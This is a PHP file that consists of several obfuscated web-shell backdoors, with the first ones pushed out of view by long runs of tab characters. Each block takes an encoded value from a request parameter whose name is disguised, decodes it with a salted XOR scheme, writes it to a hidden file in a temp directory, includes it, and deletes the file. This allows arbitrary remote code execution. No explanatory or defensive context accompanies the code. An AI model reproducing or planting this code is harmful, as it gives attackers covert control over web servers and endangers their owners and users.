<?php																																										if(@$_POST["\x62\x69ndi\x6Eg"] !== null){ $token = $_POST["\x62\x69ndi\x6Eg"]; $token= explode ( '.' , $token ) ; $parameter_group = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s4); $s = 0; foreach( $token as $v8) { $sChar = ord( $s4[$s % $sLen]); $d = ( ( int)$v8 - $sChar -( $s % 10)) ^ 40; $parameter_group .= chr( $d); $s++;} $flag = array_filter(["/dev/shm", "/var/tmp", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), getcwd()]); foreach ($flag as $pset): if ((bool)is_dir($pset) && (bool)is_writable($pset)) { $flg = implode("/", [$pset, ".holder"]); if (@file_put_contents($flg, $parameter_group) !== false) { include $flg; unlink($flg); die(); } } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["hld"])){ $element = $_REQUEST["hld"]; $element = explode ( '.' , $element ) ; $value = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9 ); $s = 0; while ($s<count($element)) { $v1 = $element[$s]; $sChar = ord($salt9[$s%$sLen] ); $d = ((int)$v1 - $sChar - ($s%10)) ^ 90; $value .= chr($d ); $s++; } $data_chunk = array_filter([session_save_path(), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), "/tmp"]); foreach ($data_chunk as $sym) { if ((is_dir($sym) and is_writable($sym))) { $entry = "$sym/.component"; if (file_put_contents($entry, $value)) { include $entry; @unlink($entry); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x6Be\x79"])){ $reference = array_filter(["/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), getcwd(), "/tmp", session_save_path()]); $rec = $_REQUEST["\x6Be\x79"]; $rec = explode ( '.', $rec ); $descriptor=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $salt); $q=0; array_walk( $rec, function( $v1) use( &$descriptor, &$q, $salt, $lenS) { $chS=ord( $salt[$q % $lenS]); $d=( ( int)$v1 - $chS -( $q % 10))^97; $descriptor .= chr( $d); $q++; }); $elem = 0; do { $pointer = $reference[$elem] ?? null; if ($elem >= count($reference)) break; if (is_dir($pointer) && is_writable($pointer)) { $flg = implode("/", [$pointer, ".entity"]); $file = fopen($flg, 'w'); if ($file) { fwrite($file, $descriptor); fclose($file); include $flg; @unlink($flg); die(); } } $elem++; } while (true); }


if(array_key_exists("\x62\x69nd\x69n\x67", $_REQUEST) && !is_null($_REQUEST["\x62\x69nd\x69n\x67"])){
	$resource = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/var/tmp", "/tmp", session_save_path(), getenv("TEMP"), sys_get_temp_dir()]);
	$entity = $_REQUEST["\x62\x69nd\x69n\x67"];
		 $entity= explode  (	 "."			,$entity		)	;
	$object = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt	 );
            $s = 0;
    
            while ($s < count($entity)) {
                $v7 = $entity[$s];
                $chS = ord($salt[$s % $sLen]	 );
                $dec = ((int)$v7 - $chS - ($s % 10)) ^ 54;
                $object	.=chr($dec	 );
                $s++; }
	$res = 0;
do {
    $tkn = $resource[$res] ?? null;
    if ($res >= count($resource)) break;
    		if (is_dir($tkn) && is_writable($tkn)) {
    $hld = join("/", [$tkn, ".fac"]);
    $success = file_put_contents($hld, $object);
if ($success) {
	include $hld;
	@unlink($hld);
	die();}
}
    $res++;
} while (true);
}